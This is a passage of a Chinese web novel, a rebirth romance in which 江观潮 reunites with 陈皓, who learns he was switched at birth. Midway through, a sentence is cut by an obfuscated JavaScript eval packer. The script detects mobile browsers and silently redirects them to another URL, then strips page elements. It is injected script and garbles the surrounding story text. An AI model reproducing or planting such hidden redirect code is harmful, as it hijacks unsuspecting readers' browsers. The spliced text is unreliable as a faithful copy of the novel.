他没有立马回复,回到家后,简单冲了个澡,走进主卧,才拿起手机回了一条。 【江观潮:你不是跟着我很久了吗?连我住哪儿都不知道?】 陈皓秒回。 【陈皓:这说明我这人很有分寸。】 【陈皓:所以你现在住在哪儿?】 【陈皓:你明天有空吗?我可以去找你吗?】 【陈皓:其实你不说我也能查出来的,但是我想你亲口告诉我。】 【江观潮:碧翠华庭,A区1栋,1401。】 发完这条消息后,江观潮从旁边的床头柜上拿起烟灰缸,敲了敲烟盒,抖出一支香烟。 碧翠华庭地理位置优越,环境清静,房价也贵得令人咂舌。里面的住户非富即贵,不少商界大鳄、明星演员都在这里拥有房产。陈皓听到这个地名,应该立马就能明白,自己并不是什么需要包养过活的普通人。 然而出乎江观潮的意料,陈皓很快就发来了回复,语气中没有分毫吃惊讶异的痕迹。 【陈皓:那明天上午我来找你。】 【陈皓:八点可以吗?】 江观潮眉头微微蹙了起来。 【江观潮:现在已经快两点了。】 【陈皓:可我想早点见到你啊。】 江观潮将烟衔在唇边,却久久没有去拿打火机。 他曾设想过无数次,陈皓得知一切只是一场赌局、一场彻头彻尾的欺骗时,会有怎样的反应。 痛恨、伤心、愤怒、心灰意冷……炸毛的小猫,怎么都得挠他两爪子才是。 他也做好了承接一切的准备。 可当这件事真正发生在现实里,陈皓却是冷静的,平静的,甚至可以说是……无所谓的。 陈皓虽说出身豪门,却打小被娇惯着,丝毫没有其他豪门子弟那种精明和敏锐,伪装自己的真实情绪逢场作戏从来都不是陈皓的强项。这一点,从先前他与江观潮那三两句就把自己重生的事实暴露彻底的对话也看得出来。 于是此时陈皓的平静,只剩下了一个解释。 小少爷在他离开以后,不知从哪里得知了全部的真相。 并在知道一切真相后,仍执着地要来找他。 江观潮点了烟,盯着屏幕,良久,抬起手指。 【江观潮:你想来就来吧。】 次日早晨,江观潮穿着一身宽松的深蓝色运动服,坐在楼下的长椅上,两条笔直长腿随意伸长。偶尔有人经过,总会忍不住侧头朝他投来打量的视线。 他死时刚刚入夏,如今却正值深秋。今早出了太阳,算不上冷,迎面吹来的风夹着枝叶的簌簌声,很凉爽也很惬意。 不远处的转角,一辆银白色的宾利缓缓驶入,最后停在江观潮所在的单元楼下。驾驶座车门打开,司机下车,然而后座的车门开得更快。一个身材修长、白肤红唇的漂亮青年跳下车,径直朝江观潮的方向跑过来。 “小少爷……”司机在后面喊了一声,陈皓头也不回地摆了摆手。 “李叔,你先回去吧。”陈皓道:“我今天用不着车。” 说完,他一屁股坐到了江观潮身边,用很熟络亲昵的态度道:“早上好!江观潮,你是特地在这里在等我吗?” 江观潮侧头,看着他,没说话。 陈皓也不在乎他的冷淡,笑了笑:“我们上楼?对了,你吃早饭了没?我让人去买点,或者我给你做?” 江观潮神情微动:“你会做?” “当然会!”陈皓见江观潮愿意理他,立马凑得更近:“我做饭可好吃了,你一定要尝尝!” -- “我不会做饭才是正常的好不好!” 前世江观潮和陈皓正式同居后,陈小少爷先是满腔热情带着ipad进了厨房,满心觉得这种几分钟教程视频就能教完的事没什么难度。结果真上场了,才发现自己连煤气灶都打不着,打着了也分不清什么大中小火。 最后切洗几小时,费劲千辛万苦炒了一滩糊糊出来,气得陈皓连锅带铲扔到一旁,彻底炸毛:“会做饭有什么了不起的,等着,我喊个厨师过来。” 江观潮在旁边围观了这么久,早就笑得不行,见状赶紧上前接过锅铲,笑着道:“没事,我来吧。” 陈皓见他开水洗锅,动作熟练,忍不住道:“你会做饭?” “会啊。”江观潮随手摸了摸陈皓的头发,洗完锅,将案台上剩下的菜重新切好,洗净。炒菜的动作干净利落。 不多时,菜炒好出锅。江观潮将碟子端到陈皓面前:“尝尝吧。”说着,他夹起一筷子,作势要喂陈皓。 陈皓却定定看着他:“江观潮,亲我。” 江观潮一怔,挑眉:“这么突然?” “快点儿!”陈皓穿拖鞋的脚轻轻踢了踢他的小腿侧边:“快亲我!” 江观潮将碟子放到一旁岛台上,一把搂过陈皓的腰,吻住了他的唇。 一个绵长的吻后,陈皓搂着江观潮的脖子,轻声说:“这还是第一次有人给我做饭吃。” 江观潮道:“你家厨师不算吗?” 话音刚落,他脚下一痛,下巴也被狠狠咬了一口。 江观潮捂着下巴“嘶”了一声,陈皓咬完人,舔了舔虎牙:“你 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此时他抱臂靠在一旁,看着陈皓撸着袖子系着围裙,忙前忙后地给自己张罗早点,微微有些出神。 “你这边食材很全。”陈皓从冰箱里翻出来了几样蔬菜,洗净切好后加上火腿和芝士打了馅,又拿了冰箱里的饺子皮,一边低头捏饺子,一边状似无意道:“是有人专门补吗?” “嗯。”江观潮回神:“回国前找好了阿姨,每周过来三次。” “这样啊。”陈皓笑了起来,“那就好。” 江观潮没有继续找话题,只静静站在一旁,看着一只只饱满的饺子在陈皓手底成型,被端端正正放在盘子上。 陈皓做事动作干净利落,毫不拖泥带水。江观潮在此之前,从没有见过他工作干活的样子,因此无从对比,更说不清这究竟是天赋还是努力的结果。不过虽然动作很快,饺子正式下锅,也已经过去四十多分钟了。 陈皓盖上锅盖,转头有些尴尬道:“饿了吧?我本来想着给你露一手呢,结果忘了这东西有点儿费功夫。”说着,他左右看了看:“要不先吃点什么垫垫?” “不用。”江观潮道,“陈少,你是从哪儿学会包饺子的?” 陈皓道:“别叫我陈少。” “那叫你什么?” “皓……”陈皓说到一半,倏然卡壳,慌忙找补:“陈皓!喊我名字就行!” 江观潮弯了弯唇,没说话,看着他。 陈皓对上他的视线,有些局促地攥了攥自己的围裙,然后轻声道:“和家里阿姨学的,你不是喜欢吃饺子吗?我就想亲手做给你吃。” 江观潮道:“你对我了解很多。” 陈皓点点头,又连忙表了一次心意:“因为我喜欢你。” 江观潮没说什么,站直身体,略过他走向灶台。锅里的水已经开了。 陈皓在他身后,肩膀紧绷着,又慢慢放松下去,像是丧了气。 “我确实很喜欢,”江观潮这时在他身后说,“但我没想到你会知道。” 我当然知道。陈皓心想,因为我一直看着你啊。 5. 执着 陈皓第一次见到江观潮,就知道这个人一定会成为自己的所有物。 他的确爱玩,但一向讨厌酒吧夜店那种乌烟瘴气的环境。唯独遇见江观潮那一次,让充满烟酒气味和刺耳音乐的酒吧都变得美好起来。他记得灯光下,他的恋人坐在吧台旁,神情冷淡,有人搭讪,便转过脸,似笑非笑地拒绝。 陈皓被家里娇惯着,要什么有什么,被宠坏了的小少爷眼界极高,于是二十岁了还从来没有谈过恋爱。被狐朋狗友带着劝着,倒也试着点过公主少爷,却连对方坐近一点都觉得受不了,最后慌不择路地逃跑。 很多时候,陈皓都对自己的性向感到模糊,似乎都行,但那种都行,更像是一种都不行。 直到江观潮出现在他面前,陈皓才知道原来自己胸膛里那颗心是活着的、会为另一个人心动的。 他走上前,一肚子想说的话,先问名字和先问电话号码的选项在他脑海里短暂纠结了一下,说出口,却变成了:“多少钱才能包你。” 彼时陈皓只把从没见过的江观潮当成了跟朋友一起过来蹭酒喝的普通人,连暧昧经验都没有过,身边人又全是些喜欢花钱包情儿的纨绔,小少爷紧张时大脑一片空白,只想到了用钱把心仪的男人留下这一个方法。 还好男人没有生气,还朝他笑了,并给了他一个低到离谱的报价。 最后陈皓用一百万将心仪的男人带回了家。 其实当时,他还不知道自己后来会那么那么爱江观潮,只把这当成了见色起意。可饶是见色起意,莫名地,他也不愿轻易辱没了江观潮。 尤其知道江观潮和自己一样,从没有过任何经验也没有过恋爱经历后,陈皓对待这段关系的认真程度,又上了一层楼。 好几次,他靠在江观潮怀里时,想要让男人亲一亲自己。但张开嘴,又怕男人不愿意。 这段关系毕竟开始于金钱,江观潮到底喜不喜欢他,陈皓还没能确定。 但他没想到,会是江观潮主动提出亲吻和亲密的要求。 江观潮离开的那两年里,陈皓受过很多冷嘲热讽,也有不少知道他们过去的朋友愤愤地表示,江观潮就是个人渣,他不该继续喜欢他。 可陈皓却时常想起,那年冬天,温暖柔软的被子里,陈皓一觉醒来,发现江观潮紧紧搂着他,埋在他的胸口前睡得正香,他们皮肤相贴、亲密无间。 他心里动了动,用指尖描摹男人英俊深邃的眉眼轮廓,动作已放得很轻,却还是一下惊醒了对方。江观潮睡眼朦胧,看了他一会儿,含糊地喊了一声“皓皓”,便又把头埋了回去。 真实身世被曝出以前,陈母时常握着陈皓的手与他闲聊,笑着问他喜欢怎样的女孩子,妈妈给他留意着。 陈皓想了想,说:在一起的时候,能让我觉得很幸福的。 那时的他什么都有,物质富足家庭美满,亲人们都很宠他爱他,要什么有什么,对于爱人,唯一的标准就是能同样地宠他爱他顺着他,至于其他现实因素,陈小少爷才懒得考虑。 而溺爱儿子的陈母也不假思索地认同道:“对,只要你觉得幸福就好,爱你想爱的人,妈妈会毫无保留地支持你的。” 于是陈皓选择了江观潮。 说他没有怨过恨过江观潮,那肯定是假的。陈皓不明白,那个抱着他哄着他、会包容他所有坏脾气、给他做饭洗脚、在被子里亲吻他的男人,怎么会是个冷心冷肺的骗子。 发现自己重生后,陈皓气冲冲来到了酒吧,想要挠花江观潮的脸。 可在见到男人的时候,他的心中只剩下了一片酸软委屈,连生气都聚不起力气。 只因陈皓突然意识到,无论他多恨多怨,那个骗了他然后无情离开的江观潮,自己永远都无法再见到了。陈小少爷虽然任性,却很讲理,他清楚,在自己心里因上一世的恩怨情仇翻涌不息的情绪,不能也不应该传递给这一世一无所知的江观潮。 那么要放手吗?这辈子去过所谓自己的人生,当陈家的少爷、陈家的养子,去过衣食无忧的生活,将江观潮推的远远的,再不去想? 不可能。 这个选项,陈皓连想都没想过。 说他偏执也好舔狗也罢,他甚至愿意承认自己就是蠢。 但他爱江观潮,这点不会变。除非江观潮喜欢上了其他人,或亲口让他滚开,否则陈皓不可能放手。 只不过再来一世,陈皓不想再成为那些混蛋口中用来打赌的素材,却也没想出究竟还能用什么方式去接近江观潮。 不过不知是不是因为他的行为有了变化,江观潮似乎也在蝴蝶效应下,跟着有了些许微妙的不同,他没有再隐瞒身份,也拒绝了陈皓的接近。唯一的相同之处,大概就是仍然很喜欢开一点儿都不好笑的玩笑这一点。 不过也还好只是玩笑,要是江观潮真的有了对象…… 陈皓摇了摇脑袋,不愿去想那样的可能。 江观潮的初恋和初吻都是他的,也只能是他的! “摇头晃脑地想什么呢?”江观潮将煮好的饺子盛盘装好,见陈皓站在一旁怔怔出神,随口问道。 陈皓回神,接过他手中的盘子:“就是在想你会喜欢什么样的人。” 江观潮没有回答。 好在陈皓也不觉得自己会得到答案,于是分毫没有失望,坐到餐桌旁,他看着江观潮吃下饺子,有些紧张地问道:“好吃吗?” 江观潮看他一眼,眼神里有显而易见的意外:“好吃。你从哪儿学的?” 陈皓听他语气不似作假,松了口气,挑眉笑起来,眉眼间带着些许得意:“跟一个阿姨学的,她家就是卖饺子的,生意可好了。你不是喜欢吃嘛,我就想着和她学学,等你回来后吓你一跳……” 不对。 那都是前世的事了。 陈皓有些紧张地看了坐在对面的男人一眼,却见江观潮面不改色,只专心吃饺子,并没有在意自己方才的话,这才松了口气,不再多说,连忙低头吃了起来。 -- 玉米胡萝卜加上火腿芝士。这么中西结合的馅料,想来是陈皓根据自己的口味,特地琢磨出来的。 吃完饭后,江观潮让陈皓去客厅休息,起身收拾餐具。 小少爷显然也知道自己方才在吃饭时说错了话,小心翼翼地打量了江观潮好几眼,见他的确没有什么奇怪的反应,才放下心去客厅。 将餐具放进洗碗机,江观潮按下开关,在这个陈皓百分百看不见自己的角度,他轻轻叹了口气。 这一世,他真的还要和陈皓纠缠在一起吗? 他必须尽快确定下这个答案,否则拖沓下去,不过是上一世的重演。死过一次的江观潮,已经失去了玩弄人心、用他人真心取乐的爱好,加上001给他的那个任务…… 如果他不准备和陈皓在一起,现在就是说清楚并斩断两人关系的最好时机。 江观潮轻轻吐出一口气,直起身,正要去客厅,却听耳边突如其来传来一道机械音:【真的能断干净吗?】 【前世他被你伤成那样,甚至付出了生命的代价,仍死死抓着你不放手。这么执着的人,你准备怎么让他放手?】 江观潮脚步一顿,他对陈皓的了解不说彻底,也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16834933|191245||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 称得上知之甚深:“只要我有了喜欢的人,他就会放手。” 【宿主,不要忘记你的任务。】001冷冷道:【你这样的行为,和渣男的区别在哪里?恕我提醒,如果任务失败,你的重生机会就会被收回,而你的爱人是受你影响才与你一同重生的。到时候……】 江观潮没有说话。 脑海中,001重新沉默了下去,他的话却终于点醒了从昨晚重生后,就一直有些摇摆不定的江观潮。 揉了揉眉心,他朝客厅走去。 陈皓正坐在沙发上,似乎在玩手机,但仔细看就会发现,他只是拿着手机不停地点开某个APP,又退回主屏幕,如此循环往复而已。 听到江观潮接近的脚步声,陈皓回头,眼睛亮起:“江观潮。” 江观潮站在沙发旁,定定看着他,良久叹了口气,俯下身,吻住了陈皓的唇。 -- 江观潮吻住了陈皓的唇,同时,四周炸开一片笑声与起哄声。 此时他们正在某个山间赛车场里,一场比赛刚刚结束,陈皓载着江观潮拿到了第一,于是按照规矩,钻出赛车后,江观潮单手掌住陈皓的后颈,给了他一个绵长的深吻。 “陈少艳福不浅啊。”一个穿着皮衣、满脸打满各种钉环的年轻男人坏笑着调侃,眼神却不住往江观潮身上瞟:“陈少,这么优质的小情儿你是从哪儿找的啊,我也想找一个。” 陈皓靠在江观潮怀里,一眼就看出了那钉环男对江观潮的觊觎,脸色一黑,毫不客气地甩下一个“滚”字。 陈少的坏脾气也不是什么秘密,一阵笑声顿时又传开来,钉环男神情微变,但碍于陈家,也只能跟着笑笑。 比赛已经结束,接下来便是惯常的派对酒会。然而今天,刚赢下比赛还在兴奋中的陈皓一点都没有喝酒的兴趣,连衣服都没换,拉着江观潮就要回家。 至于回家要做什么,不言而喻。 江观潮刚开荤没多久,小少爷的身子又软又多汁,他吃得十分满意,对这样的安排,自然乐见其成。 上车后,江观潮刚在驾驶座坐定,副驾驶座的陈皓就忍不住扑过来,跨过中控台做到他的腿上,搂着他的脖子与他接吻。 江观潮笑着回应他,手掌也放到了青年的腰后:“等不及了?” 陈皓刚想说话,车内旖旎的氛围却被突然响起的手机铃声打断。 若是平时,陈小少爷必然不会理会这不合时宜的来电。然而此时响起的铃声,是他特地给陈母设置的专属。 “去接吧。”江观潮轻轻拍了拍陈皓的背。 小少爷有些怨念地看了他一眼,又亲了他一口,才乖乖爬回副驾驶,从外套里拿出手机。 “喂?妈,有什么事儿吗?”陈皓接通了电话,旋即眉头皱起:“回家?现在吗?……好,我知道了。” 挂断电话,陈皓转头朝江观潮有些疑惑道:“我妈说有重要的事要告诉我,让我现在回家一趟。” 江观潮也有些意外,看了眼时间:晚上十一点四十五。 “好,”江观潮道:“那我送你回去。” “嗯……”陈皓有点儿郁闷地向后靠近座椅里。 江观潮看出他的想法,好笑地摸了摸他的头发:“等你回来了,加倍补给你,嗯?” “可别加倍!”陈皓瞪他一眼:“你要累死我是不是?” 江观潮闷笑出声,发动了车子。 这时他们都不知道,陈母这一次急匆匆地喊陈皓回去,是为了告诉他一个改变了他整个人生轨迹的消息。 陈皓不是陈家的亲生子。 6. 身世 从小到大,有很多人羡慕过陈皓的家世。 那种羡慕不只是因为他出身豪门,更因为他家庭和睦,并备受宠爱。陈父虽是商人,却没有商人的冷血和利己,他很看重家庭,也很爱自己的妻子和孩子。陈夫人也是温柔顾家,非常喜欢孩子的性格。陈皓从出生起,就一直是他们家里的宝贝、小王子,要什么有什么,活得肆无忌惮。 他不缺钱,也不缺爱,更从没有过想要什么,却得不到的经历。 还好陈皓的本性并不坏,没有因为父母无条件的溺爱就变坏,顶多有些自我和任性,但都无伤大雅。 公司的经营上,陈皓一窍不通,学业成绩也只能算是马马虎虎。他不是什么讨人喜欢的性格,总爱像个孩子似的肆意发脾气,想到什么说什么,还不懂得察言观色……在人心似海的豪门圈子里,他就像一个异类。 但他从不为此而忧虑,毕竟无论如何,都有爱他的父母在他身后,当他最坚实的后盾。 可陈皓没有想过,父母也会有抛下自己的一天。 拿着亲子鉴定从陈家老宅离开的时候,陈皓的大脑仍然维持着一片空白。他坐进车里,借着路灯的灯光,展开手上的文件,又看了一次。然而上面的内容仍然没有任何改变:陈皓并非陈知国的亲生子。 怎么会? 怎么可能? 母亲坐在沙发上,用纸巾不住擦拭眼泪的模样再次浮现:“我们去医院找了好几次,都说是当时护士不小心……还好现在找到了。” 他忍不住想,父母究竟瞒了自己多久? 他们瞒了他多久?在他依旧恃宠而骄、天真烂漫的那些日子里,他们早已知晓真相,一边不动声色地宠爱着他,一边急切地寻找着血脉相连的亲生骨肉。 如今,那个被他“偷”走了二十年人生的正主,已经回来了。 这是否意味着,他所拥有的一切,荣光、宠爱、身份……都到了该物归原主的时候? 陈皓忽然指尖发抖,一阵失重感裹挟住他,明明坐在开着空调的豪车里,却如同坠入了无底深渊。也是在这时,他才忽然意识到,父母已很久没有主动关心他了。 这个念头的出现,如同一把利剑,刺入了他本就已经动荡不堪的世界,令天空都生出裂隙。他感到一阵头晕目眩,就像正在经历一场可怕的、将摧毁他整个内心世界的地震。 陈皓甚至产生了一种错觉:过去幸福的一切都是假的,虚幻的泡泡被戳破,留下的便是他此刻所经历的冰冷的恐慌。 是的,冰冷。原来恐惧是有温度的,那么冷,冷到他抱紧了自己的手臂,仍控制不住地发抖。 “叮铃铃——” 在漆黑一片的车内突然响起的电话铃声,有些突兀地划破了夜晚的寂静。陈皓猛地回神,看到仪表盘上的数字,才意识到自己一动不动地在车里坐了好几个小时。 他活动了下僵硬的身体,从口袋里拿出手机。在看到屏幕上“江观潮”三个字时,他鼻子一酸,胸膛里突然就填满了委屈。 电话接通,江观潮的声音从听筒中传出:“喂?皓皓,你今天是在你爸妈那边过夜吗?给你发消息怎么不回?” “……江观潮,”陈皓捏着手机的手指用力到指尖发白:“你在家吗?” “当然在。”江观潮说,“怎么了?” 陈皓原本还能强忍着自己的情绪,这会儿听见江观潮关心的话语,突然眼睛一酸,控制不住地抽噎了一声。 江观潮立马问道:“皓皓?出什么事了?” “江观潮,”陈皓抹了下眼睛,哽咽道:“你来接我,快点。” 江观潮没有半分迟疑道:“好,我现在就来,你把定位发给我。” 陈浩努力压抑着喉咙里翻滚的哭腔,却止不住声音里的颤抖:“发了……你快点,我想见你。” -- 江观潮收到地址后,立马穿上外套,打车出门。接单的司机看到他的目的地,还调侃地说了句:“大少爷啊。” 江观潮只笑了笑,没做答,扭头看向车窗外的夜景。玻璃的倒影上,他看见自己的脸,神情有些微妙。 陈皓在电话里哭了。 江观潮和他在一起已经一个多月,小少爷闹脾气发火的样子倒是见过很多,眼泪顶多在床上流两滴,过后了也要江观潮搂在怀里温声细语地哄。这还是江观潮头一回见到陈皓这么伤心难过的样子。 小少爷不是回家了吗?陈家夫妇那样宠他,什么事能让他哭得这么厉害? 二十分钟的车程,江观潮连陈夫人癌症晚期的可能性都想到了。 付钱下车后,江观潮沿着人行道走了一会儿,很快就在路边看见了陈皓那辆显眼得有些嚣张的法拉利。他走上前,轻轻敲了敲车窗,玻璃降下,露出白皙青年哭红了的眼睛。 江观潮的胸口莫名一紧:“皓皓。” “江观潮,”青年望着他,泪水倏然滚落,“我没有家了。” 江观潮实打实地愣了一下。理智告诉他,他应该先问清缘由经过,可回过神来时,他已经将哭得泪水涟涟的小少爷从车里半抱出来,搂在了怀里。 陈皓像是终于找到了依靠的小孩,一手紧抓着男人的衣服,一手将手里的亲子鉴定塞过去,断断续续地哽咽着将事情毫无保留地全部说了出来。 “他们说我不是他们亲生的,他们真正的小孩已经找到了。不过我还是可以作为养子,继续在陈家生活。”陈皓抬头,用带着泪的眼睛瞪着江观潮,像是试图撑起往日的骄傲,语气中却带着难以掩饰的惊慌:“所以你别想着能因为这个离开我,就算我不是亲生的,也一样能动用陈家的关系治你,知道了没?” 江观潮垂眸看着他。 真是被宠坏了,这种关乎身世的大事,竟然毫无防备地就对着自己说了出来。若是自己有半分异心,小少爷恐怕连骨头都不会剩下。 好在江观潮虽不是什么好人,但对世家间的那些弯弯绕绕没有任何兴趣。此刻真正吸引了他注意的,是小少爷这副陡然跌落、彷徨无依的模样。 像一只骤然被遗弃的家猫,哪怕竭力亮出爪子虚张声势,也掩不住身后已空无一物的惶然。 先前一个多月的温柔和纵容,的确让陈小少爷对江观潮卸下了心防,开始黏他、对他撒娇。但距离掏出真心,总是还差那么一点。眼下这场骤变,无疑是将陈皓推到了最需要依靠与慰藉的境地。 于江观潮而言,实在是个再好不过的、完成赌注的时机。 “我知道,皓皓,我不会离开你的。”江观潮低声道:“我们回家,嗯?” “嗯。”陈皓埋进他怀里,闷声道:“带我回家。” 回去的路上,陈皓坐在副驾驶座上,前所未有的沉默。江观潮侧头见他这副蔫巴巴的模样,心中竟掠过一丝陌生的不适。他伸手,在小少爷的脑袋上揉了揉。 陈皓侧过头看他,眼睛又红了。 “江观潮,我好难受。”陈皓吸了吸鼻子,哑声道:“你说我的亲生父母会是什么样的人啊,他们也一样在找我吗?他们会喜欢我吗?“” 江观潮伸出手,握住了陈皓:“肯定的,皓皓这么招人喜欢,他们怎么可能不喜欢你。” “你骗人,”陈皓说:“我一点都不招人喜欢。” 江观潮心想你还挺有自知之明,面上笑道:“我难道不是人?” 陈皓道:“你喜欢我吗?” 这个突如其来的问题,让江观潮心中一惊。他一直都对自己的演技和表面功夫很有自信,这一个月来,他为了赌 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回到家,他先走进洗手间,拧了毛巾裹着冰袋给陈皓敷眼睛。情绪经历了一轮大起大落的小少爷窝在他怀里,十分疲惫道:“江观潮,我困了。” “困了就睡吧。”江观潮摸了摸他的头发:“等会儿我抱你回卧室。” 陈皓摇头:“不行,我还要洗澡。” 江观潮道:“我帮你洗。” 陈皓闻言,张了张嘴,脸颊泛起一点不自在的红晕,犹豫片刻,最终只是轻轻点了点头。 江观潮知道他在担心自己会在洗澡时做点别的什么事情,好笑地拿开毛巾,在他额头上弹了一下。 “放心,只是帮你洗澡。”江观潮将毛巾放到一旁,起身:“我抱你去浴室?” 冷敷后,陈皓眼上红肿稍微好了一些,他看着江观潮,没说话,只将两只手臂张开。 江观潮弯腰将他抱起来,走进浴室。 这么多年来,江大少也是头回这么细心到位地伺候一个人,热腾腾的水汽中,他用浴球将沐浴露揉开,手指抚过怀中青年白皙光洁的皮肤,不由感到一阵喉头发紧。 “你想要的话可以做。”陈皓在这时忽然道。 江观潮动作没停,一边用浴球将泡沫涂满陈皓的身体,一边微微低头,吻住了小少爷的唇。 “放心,等你好些了,我会让你补给我的。”江观潮道:“现在我只想好好照顾你。” 陈皓的心脏像是被这句话给攥住了,他感到酸涩,却又有些甜蜜,靠着江观潮依恋地点了点头。 洗完澡吹完头发后,陈皓靠在江观潮怀里,让男人将自己抱进卧室。他累得厉害,一步路都不想走。江观潮也不嫌他麻烦,将他放进被子里,转身去关灯。 陷入黑暗的卧室里,陈皓轻声问:“江观潮,如果……我想去见我的亲生父母,你愿意陪我一起吗?” 江观潮的回答没有丝毫犹豫:“当然愿意。” 他撩开被子的一角,上床。陈皓很快便钻进了他的怀里,一个多小时前在车上所经历的那场恐慌,在男人坚实温暖的怀抱里,不断被淡化。 “江观潮,”睡意朦胧间,陈皓又喃喃唤了一声,执拗地寻求最后确认,“你真的喜欢我,对吧。” 额头上落下轻柔一吻,男人温热的呼吸拂过皮肤,带来令人安心的痒意。 “嗯,喜欢。” 陈皓终于彻底放松下来,他无意识抓紧了江观潮的衣服,缩了缩,像一只怕冷的小动物,没过多久就睡了过去。 而拥着他的江观潮,在怀中人沉睡后,再度睁开了眼睛,眸中一片清醒的平静。 7.喂饭 江观潮上一次给人喂饭,还是在十六年前。小学放学回来的他在母亲的拜托下,面无表情地端着一碗辅食,走到了弟弟江云帆的婴儿椅前,一手端碗一手拿勺,开始喂饭。 彼时江云帆还是个在父母和保姆的无条件宠爱下,越来越娇气的熊孩子,即便是对着大哥面无表情的脸,也敢踢着小胖腿大耍脾气,闹着不要吃饭。 随后,江观潮就身体力行地教会了江云帆,什么叫做兄弟间的血脉压制。大哥之所以是大哥,是有原因的。 那次以后,江云帆再没有闹着不吃饭过,江观潮也没再给人喂过饭。 却不想,十六年后的今天,他会再一次得到这个“任务”,“任务对象”还是一个刚过完二十三岁生日的成年男人。 陈皓提完要求,自己也觉得有点儿过了,见江观潮不说话,尴尬劲儿涌上来,便想把勺子从江观潮手里拿回来:“算了,当我没说过……” “可以。” “啊?” 陈皓呆呆地抬起头,江观潮则直接拉着餐垫,将粥和小菜挪到自己面前,侧身拉开身旁的椅子:“坐过来。” 陈皓看了江观潮一眼,男人英俊锐利的眉眼间没有波动,于是也看不出任何情绪的端倪。他犹豫了一下,站起身,走到那个被拉出来的椅子前坐下。 粥盛在砂锅里,一时半会儿降不下温度,江观潮便让佣人拿了个小碗过来,舀出一部分在碗里放凉,然后一手端着碗,一手拿着勺子,喂给陈皓吃。 陈皓张开嘴吃了一口,温度正好。家里请的做饭阿姨是陈家用了好几年的,厨艺极好,粥熬得浓稠软糯,调味也很符合小少爷的口味。但现在,陈皓连着被喂了几口,却半点儿味都没尝出来,视线里晃着的是江观潮宽大修长的手,喂进嘴里的勺子力度刚好,一次都没嗑到他的牙齿,动作竟然很娴熟。 一开始,陈皓还耳根发烫,觉得害羞。后面却突然意识到了什么,侧头躲过喂过来的粥,眼睛眯起:“江观潮,你给人喂饭怎么这么熟练?你还给其他人喂过?” 江观潮不知道难伺候的小少爷又是在整哪一出,收回勺子:“喂过。” 陈皓脸色一变,心中警铃大作。 能让江观潮屈尊喂饭的人……难道是那个前未婚夫? 陈皓心中一阵烦闷。 他虽然任性,但也不是真的小孩子,这会儿在乎的,并不是什么自己好不容易求来的东西,他人却早已轻而易举地享受到这种事。他在乎的是,对他人他事总是冷酷淡漠的江观潮,当初究竟有多么喜欢那个男孩子,才会在没有威胁逼迫的情况下,连这样的事都愿意去做。 现在江观潮,是不是还喜欢着那个人? 江观潮在旁边等了会儿,见小少爷把脸侧着,撅着个嘴不知道在想什么,便放下碗,抬腕看了眼手表。 陈皓余光注意到了他的动作,闷声道:“你等会儿还有工作吗?” “都处理完了。”江观潮看了眼锅里剩下的粥,觉得也差不多了,便道:“吃饱了吗?” 陈皓根本没尝出味儿来,胡乱“嗯”了声,又问:“那你看表干什么?” 是觉得和他在一起过得太漫长了,觉得不耐烦了? “确认时间。”江观潮道:“我和江云帆说了,晚上五点左右到。” 陈皓于是也从旁边拿起一直没来得及打开的手机,按亮屏幕。 三点四十五。 “三点?”陈皓瞪大眼睛,差点儿从椅子上跳起来:“现在下午三点多了?!” 他一直以为这会儿顶多上午快中午,结果都已经临近傍晚了? 顿时,什么喂饭不喂饭的,前未婚夫不未婚夫的,全都被陈皓抛在了脑后,他慌忙站起身,一边翻通讯录一边往外走:“你怎么不早点儿告诉我啊,这下怎么来得及……” 江观潮把餐具放到桌子上,示意旁边的佣人上前来收拾:“不是还有一个多小时么?不会迟到。” “我不是说那个!”陈皓拨通电话:“喂?张叔,是我,陈皓……帮我准备四份礼物,两份长辈的,两份是弟弟妹妹的……对,是我丈夫的家人……现在就要!很急,快让人帮我准备好,送到翡翠华庭的房子这边……好,您快点儿。” 挂了电话,陈皓又继续翻通讯录,不一会儿,声音从客厅传过来:“路老二,赶紧给我准备几箱好酒,什么酒都来点儿,越贵越好,等会儿我顺路去你店里拿……什么玩意?滚你的,我是带给我老公他家里人喝!他不是有弟弟妹妹么,年纪小,给整点洋的……” 他似乎是走去了阳台,声音逐渐模糊,听不见了。 江观潮却坐在原地,有些怔愣。 他从不知道,原来陈皓和其他人说话时,会用“我丈夫”和“我老公”来称呼他。 “先生?”佣人轻声道。 江观潮回神,发现自己的手肘压住了餐垫,耽误佣人收拾餐桌了。他挪开胳膊,起身朝餐厅外走去。 陈皓已经打完了电话,正在客厅里团团乱转,见江观潮来了,忍不住抱怨:“都怪你,没早点提醒我,现在去店里做造型根本来不及。” 江观潮还是头回见陈皓这副着急忙慌的样子,视线在他身上上下一扫:“去做造型干什么?今晚只有我家里人。” “就是因为有你家里人啊!”陈皓不高兴道:“这是我第一次去你家里做客,肯定要好好打扮一下的。不行,我上去重新换一套衣服,等会儿我们早点走,还要去拿礼物和酒。” 说着,他又急匆匆地跑上楼,去衣物间翻箱倒柜去了。 江观潮抬头看着他的背影。 第一次去自己家做客? 江观潮听了这话,第一反应就是不可能。三年时间,加上此前死缠烂打的阶段,陈皓去他家没有十次也有九次。 但他又仔细回想,才发现那么多次里,陈皓还真没有一回是受邀前往的。自始至终,他 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简单的两个字,却让小少爷绽开了大大的笑容,三两下跳下楼梯,跑到江观潮面前,搭住他的肩膀:“那你想不想亲一下好看的我?” 江观潮也没扭捏,手指勾住他的下巴,低头亲了他一口:“走吧。” 陈皓舔了舔唇角,挑起眉,得意地笑了起来:“江观潮,你从昨天开始就对我好好啊。是不是开始有一点儿喜欢我了?” 江观潮没有回答。 他生来情感淡薄,在他的世界里,连单纯的喜恶都几乎不存在,从小到大,对事对人,都是如此。于是也不知道什么是喜欢,什么是爱。 他只知道,这一世,他不想再让陈皓离开自己,也不想再离开陈皓。 陈皓没有等来想要的答案,略微有些失望,但也在意料之中。 